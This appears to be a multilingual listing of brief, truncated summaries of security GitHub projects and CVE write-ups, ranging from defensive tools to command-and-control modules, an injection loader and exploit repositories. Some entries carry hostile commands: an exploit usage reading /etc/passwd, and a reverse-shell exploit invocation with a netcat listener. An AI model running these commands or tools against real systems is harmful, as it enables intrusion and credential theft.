TwitWork

TwitWork TwitWorkとは？ デモ 必要条件 インストール 開発環境のセットアップ プリコンパイル済みexeのダウンロード TwitWorkとは？ Twitterのストリームを監視します。 TwitWorkはTwitterストリームを使用して、リアルタイムでツイートを閲覧できます。 Twitterのトラッキングに基づいて、1つ以上のキーワードや@でフローをフィルタリングできる入力があります。 デモ これはキーワード「Coronavirus」のエクスポートデータのデモです。 https://twitwork.github.io/ TwitWork 必要条件 NodeJs Npm...

GitSecure

GitSecure GitSecureについて GitSecureは、プッシュおよびプルリクエスト時に露出したAPIキーをセキュリティチームに通知するためのGitHubアクションです。GitHubリポジトリにファイルが追加または変更されると、このアクションが起動され、システム内の露出した認証情報の検索を開始します。トークンを検出すると、Slack Webhookを介してチームに警告を送信します。 セットアップ GitSecureのセットアップは簡単で、手間はほとんどかかりません。 1. Slack Webhookの作成 Slack Webhookは、https://api.slack.c...

instrumentation_callbacks

instrumentationcallbacks Instrumentation callbacks（インストルメンテーションコールバック）は、Windowsのあまり文書化されていない面白い機能です。 このリポジトリ内のすべてのコードはMITライセンスの下で公開されています。 このリポジトリはGoogleスタイルのC++スペーシングを使用しています。 問題、バグを見つけた場合、または特定の機能を追加すべきだと考える場合は、PRを歓迎します。 それらは何ですか？...

CVE-2026-106208

Missing authorization in API in Google Chrome prior to 155.0.8059.39 a...

Microsoft Windows Cloud Files Mini Filter Driver CldiStreamPrepareRequestForMoreProcessing Type Confusion vulnerability

Summary A type confusion vulnerability exists in the CldiStreamPrepareRequestForMoreProcessing functionality of Windows Cloud Files Mini Filter Driver versions: 10.0.26100.8457 WinBuild.160101.0800 and 10.0.26100.8655 WinBuild.160101.0800. A specially crafted sequence of Cloud Filter API calls ca...

SlackShell

SlackShell 描述与更新日志 v1.0 此PowerShell模块包含多种利用Slack API创建命令与控制通道的函数。主函数Start-Shell会连接至用户指定的Slack频道，并使用提供的API认证令牌对指定Slack团队和用户进行身份验证。频道中输入的任何命令都将在主机上的PowerShell中执行。 SlackShell项目需要PowerShell v3及以上版本，因为其使用Invoke-RestMethod进行API调用。未来开发将继续使用当前PowerShell...

azureOutlookC2

Azure Outlook C2 Microsoft Graph API を利用した C2 通信及びデータ漏洩を行う、Azure Outlook コマンド＆コントロールです。 自身の Outlook メールボックスから、侵害した Windows デバイスを遠隔操作します。 作成者: Bobby Cooke @0xBoku & Paul Ungur @C5pider CTI 脅威情報アップデート 2022年2月13日 Elastic Security Labs は、SIESTAGRAPH を使用したアクティブな侵入活動を実環境で発見しました。SIESTAGRAPH は、Outlook と...

gundog

gundog gundog - PowerShell based guided hunting in Microsoft 365 Defender Gundog provides you with guided hunting in Microsoft 365 Defender. Especially if not only for Email and Endpoint Alerts at the moment. Functionality You provide an AlertID you might received via Email notification and gundo...

Ares

Project Ares Project Ares Injector Project Ares Injector は、Transacted Hollowing 技術に基づいた C/C++ で書かれた Proof of Concept PoC ローダーです。このローダーは PE をリモートプロセスに注入し、以下の機能を持ちます： PPID スプーフィング マイクロソフト署名されていないバイナリをブロックする CIG LoadLibrary や GetProcAddress API を使用しない動的な関数解決 API ハッシュ化 ディスクからクリーンなバージョンで .text...

Doozer

Doozer Doozer 是一款可扩展的自动化哈希破解工具，用于自动解析、破解和组织密码哈希。目前，Doozer 支持 nt/lm、ntlmv1 和 ntlmv2 哈希（来自 Responder 或 SAM），但其模块化架构允许轻松插入其他哈希类型。一个基于 Django 的简单 Web 界面使用户能够实时查看破解会话、查看会话结果以及搜索哈希数据库。此外，还暴露了一个简单的 REST API，使脚本能够轻松与数据库交互。 Doozer 具备文件夹监控功能；为提供无缝的哈希破解方法，Doozer 允许您设置一个文件夹，用于监控哈希文件。一旦文件被放入此位置，Doozer...

CVE-2020-17519

CVE-2020-17519 Apache Flink RESTful API 任意文件读取 Apache Flink 是一个框架和分布式处理引擎，用于对无界和有界数据流进行有状态计算，使用 Java 和 Scala 开发。Apache Flink 1.11.0 版本引入的一项变更（同样发布在 1.11.1 和 1.11.2 中）允许攻击者通过 JobManager 进程的 RESTful API 读取本地文件系统上的任意文件。对文件系统的访问限于 JobManager 进程可访问的文件。 虽然 1.11.0 - 1.11.2 之间的所有版本都受到该漏洞影响，但 Apache Flink...

CVE-2025-57231

CVE-2025-57231 - Docmost -f python exploit.py http://localhost:3000/ -f /etc/passwd 示例 └─$ python exploit.py http://localhost:3000/ -f /etc/passwd A...

CVE-2021-21315

使用Rust语言编写的CVE-2021-21315漏洞利用代码 我是Rust新手，所以这段代码是我Rust语言练习的一部分 是的！！让我们获取反弹shell吧！！！！！！！ !仅供教育或研究使用 构建 cargo build 用法 ./exploit ./exploit http://target.com/api/osinfo?param 172.17.2.1 1234 需要Netcat监听器来捕获反弹shell nc -nlvp nc -nlvp 1234...

kyocera-cve-2022-1026

kyocera-cve-2022-1026 Kyocera 打印机中存在一个未认证的数据提取漏洞，该漏洞允许恢复明文形式的通讯录和域绑定密码。 漏洞概述 早在 2021 年的一次渗透测试中，我在摆弄 Kyocera 用于远程管理打印机的胖客户端应用程序。在对该应用程序的流量进行代理时，我发现 Kyocera 在 9091/TCP 端口上的 SOAP API 在执行敏感操作时未正确处理身份验证。Kyocera MFP 可以配置用于公司域绑定的凭据、FTP 凭据、文件共享凭据等。在未认证的情况下，可以以明文形式检索 MFP 存储的所有凭据。 我的完整分析文章可在 Rapid7...

RemoteSessionEnum

Blog: https://0xv1n.github.io/posts/sessionenumeration/ 此项目的目的是尝试利用基本上没有文档的 Windows 工作站 WinSta API 来复现 qwinsta /server: 的功能。...

Inspeckage

Inspeckage - Androidパッケージインスペクタ Inspeckageは、Androidアプリケーションの動的解析を提供するために開発されたツールです。Android APIの関数にフックを適用することで、Inspeckageは実行時にAndroidアプリケーションが何を行っているかを理解するのに役立ちます。 http://ac-pm.github.io/Inspeckage https://twitter.com/inspeckage https://play.google.com/store/apps/details?id=mobi.acpm.inspeckage...

freki

Frekiは、無料でオープンソースのマルウェア解析プラットフォームです。 目標 1. マルウェア解析とリバースエンジニアリングを容易にすること。 2. さまざまなプロジェクトに使いやすいREST APIを提供すること。 3. Dockerによる簡単なデプロイ。 4. コミュニティによる新機能の追加を許可すること。 現在の機能 ハッシュ抽出。 VirusTotal APIクエリ。 PEファイルの静的解析 ヘッダー、セクション、インポート、機能、文字列。 Yaraによるパターンマッチング。 WebインターフェースとREST API。 ユーザー管理。 コミュニティコメント。...

dnsdmpstr

dnsdmpstr Unofficial API & Client for DNS Dumpster and HackerTarget.com IP tools. https://dnsdumpster.com/ https://hackertarget.com/ip-tools/ Installation git clone https://github.com/zeropwn/dnsdmpstr cd dnsdmpstr pip3 install -r requirements.txt chmod +x ddump.py Usage As a command-line utility...

dnsdmpstr

dnsdmpstr DNS Dumpster および HackerTarget.com IP ツール向けの非公式 API とクライアントです。 https://dnsdumpster.com/ https://hackertarget.com/ip-tools/ インストール git clone https://github.com/zeropwn/dnsdmpstr cd dnsdmpstr pip3 install -r requirements.txt chmod +x ddump.py 使い方 コマンドラインユーティリティとして target="hackerone.com"...

Get-PDInvokeImports

Get-PDInvokeImports 説明: Get-PDInvokeImportsは、アセンブリ内でのP/Invoke、Dynamic P/Invoke、D/Invokeの使用を自動検出できるツール（PowerShellモジュール）です。それらが参照されているすべての場所を表示し、すべてをDnSpyBookmarks.xmlにエクスポートします。 このPSモジュールは、.NETアセンブリのリバースエンジニアリング中に、アセンブリで使用されているアンマネージAPI関数への呼び出しを迅速に明らかにするのに役立ちます。マルウェアアセンブリにはジャンクコードが大量に含まれ、メイン機能が直接W...